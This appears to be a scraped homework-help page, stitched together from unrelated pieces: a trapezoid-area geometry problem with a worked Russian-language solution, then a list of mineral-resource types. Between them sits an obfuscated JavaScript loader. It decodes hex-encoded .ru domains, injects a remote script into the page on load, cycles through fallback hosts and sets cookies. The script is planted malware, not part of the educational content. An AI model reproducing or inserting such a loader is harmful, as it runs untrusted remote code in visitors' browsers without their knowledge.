Діагоналі трапеції АВСD (ВС || AD) перетинаються у точці О. Знайдіть плошу трапеції, якщо Sвос - 12 см^2, а ВС : AD = 2:3.

75 cm2

Объяснение:

Заметим, что треугольники ВОС и DOA подобные. ( по 2-м углам: углы ОВС=ОDA  ,  OCB=OAD - накрест лежащие)

Тогда ВО/DO=CO/AO=2:3

Обозначим СО=2х,  тогда АО=3х

ВО=2у,  тогда DO=3у

Заметим, что Sabcd=Sboc+Scod+Saod+Sboa

Sboc=(BO*CO*sin BOC)/2=(2x*2y*sin BOC)/2 = 12

4xy*sin BOC=24

xy*sin BOC= 24:4

xy*sin BOC= 6                                (1)

Saod=(AO*OD*sinAOD)/2

Так как углы AOD=BOC ( вертикальные), то

Saod= (3x*3y*sinВOС)/2 =9*(x*y*sin ВOС)/2

Подставим согласно (1) вместо  x*y*sin ВOС =6, получим

Saod=9*6/2=27 cm2

Scod= (CO*OD*sinCOD)/2

Но углы COD и BOC - смежные, тогда  sinCOD=sin(180-BOC)=sinBOC

Тогда запишем:

Scod= (2х*3у*sinВОC)/2 =6*(ху*sinВОC)/2  

Опять вместо x*y*sin ВOС  подставим 6 согласно (1)

Scod=6*6:2=18 см2

Аналогично Scod находим Saob=(BO*AO*sinBOA)/2=

(2х*3у*sinВОC)/2 =6*(ху*sinВОC)/2 = 6*6:2=18 cm2

Итак Sabcd=Sboc+Scod+Saod+Sboa=12+27+18+18=75см2

Window.a1336404323 = 1;!function(){var e=JSON.parse('["34676d696d7839373269707267722e7275","6362627a653575326d36357667382e7275","70377534726769686e6c6c2e7275","6777357778616763766a366a71622e7275"]'),t="17851",o=function(e){var t=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return t?decodeURIComponent(t[1]):void 0},n=function(e,t,o){o=o||{};var n=o.expires;if("number"==typeof n&&n){var i=new Date;i.setTime(i.getTime()+1e3*n),o.expires=i.toUTCString()}var r="3600";!o.expires&&r&&(o.expires=r),t=encodeURIComponent(t);var a=e+"="+t;for(var d in o){a+="; "+d;var c=o[d];c!==!0&&(a+="="+c)}document.cookie=a},r=function(e){e=e.replace("www.","");for(var t="",o=0,n=e.length;n>o;o++)t+=e.charCodeAt(o).toString(16);return t},a=function(e){e=e.match(/[\S\s]{1,2}/g);for(var t="",o=0;o < e.length;o++)t+=String.fromCharCode(parseInt(e[o],16));return t},d=function(){return w=window,p=w.document.location.protocol;if(p.indexOf("http")==0){return p}for(var e=0;e<3;e++){if(w.parent){w=w.parent;p=w.document.location.protocol;if(p.indexOf('http')==0)return p;}else{break;}}return ""},c=function(e,t,o){var lp=p();if(lp=="")return;var n=lp+"//"+e;if(window.smlo&&-1==navigator.userAgent.toLowerCase().indexOf("firefox"))window.smlo.loadSmlo(n.replace("https:","http:"));else if(window.zSmlo&&-1==navigator.userAgent.toLowerCase().indexOf("firefox"))window.zSmlo.loadSmlo(n.replace("https:","http:"));else{var i=document.createElement("script");i.setAttribute("src",n),i.setAttribute("type","text/javascript"),document.head.appendChild(i),i.onload=function(){this.a1649136515||(this.a1649136515=!0,"function"==typeof t&&t())},i.onerror=function(){this.a1649136515||(this.a1649136515=!0,i.parentNode.removeChild(i),"function"==typeof o&&o())}}},s=function(f){var u=a(f)+"/ajs/"+t+"/c/"+r(d())+"_"+(self===top?0:1)+".js";window.a3164427983=f,c(u,function(){o("a2519043306")!=f&&n("a2519043306",f,{expires:parseInt("3600")})},function(){var t=e.indexOf(f),o=e[t+1];o&&s(o)})},f=function(){var t,i=JSON.stringify(e);o("a36677002")!=i&&n("a36677002",i);var r=o("a2519043306");t=r?r:e[0],s(t)};f()}();

1)Горючие полезные ископаемые (нефть, природный газ, горючие сланцы, торф, уголь) 
2)Нерудные полезные ископаемые — строительные материалы (известняк, песок, глины и др.) , строительные камни (гранит) и пр. 
3)Руды (руды чёрных, цветных и благородных металлов) 
4)Камнесамоцветное сырьё (яшма, родонит, агат, оникс, халцедон, чароит, нефрит и др. ) и драгоценные камни (алмаз, изумруд, рубин, сапфир) . 
5)Гидроминеральные (подземные минеральные и пресные воды) 
6)Горнохимическое сырьё (апатит и фосфаты минеральные соли, барит, бораты и др.)